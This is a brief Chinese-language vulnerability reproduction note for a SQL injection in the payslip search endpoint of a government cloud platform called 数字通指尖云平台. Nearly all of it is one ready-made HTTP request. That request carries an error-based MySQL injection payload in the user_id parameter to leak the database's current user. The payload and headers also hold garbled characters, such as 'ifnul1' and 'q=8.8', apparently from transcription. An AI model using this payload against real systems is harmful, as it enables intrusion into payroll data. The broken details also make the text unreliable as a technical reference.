S37-1数字通指尖云平台-智慧政务payslip-SQL

漏洞复现：

payload：

GET /payslip/search/index/userid/time/time?PayslipUser[user_id]=SELECT 4050
FROM(SELECT COUNT(*),CONCAT((mid((ifnul1(cast(current_user() as nchar),0x2
0)),1,54)),FLOOR(RAND(0*2))x FROM INFORMATION_SCHEMA,PLUGINS GROUP BY X)a)  HTTP/1.1
Host:xx.xx.xx.x
User-Agent: Mozilla/5,0 (Macintosh; Intel Mac S X 10,15; rv:109,0) Gecko/201
00101 Firefox/117.9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,imag
e/webp,*/*;q=8.8
Accept-Language: zh-CN,zh;q=0.8,zh-Tw;g=0.7,zh-HK;g-0.5,en-US;g=0.3,en;g-0.2
Accept-Encoding: gzip，deflate
Connection: close
Cookie: GOASESSID=i589f58naalabocmbidup7edl3
Upgrade-Insecure-Requests: 1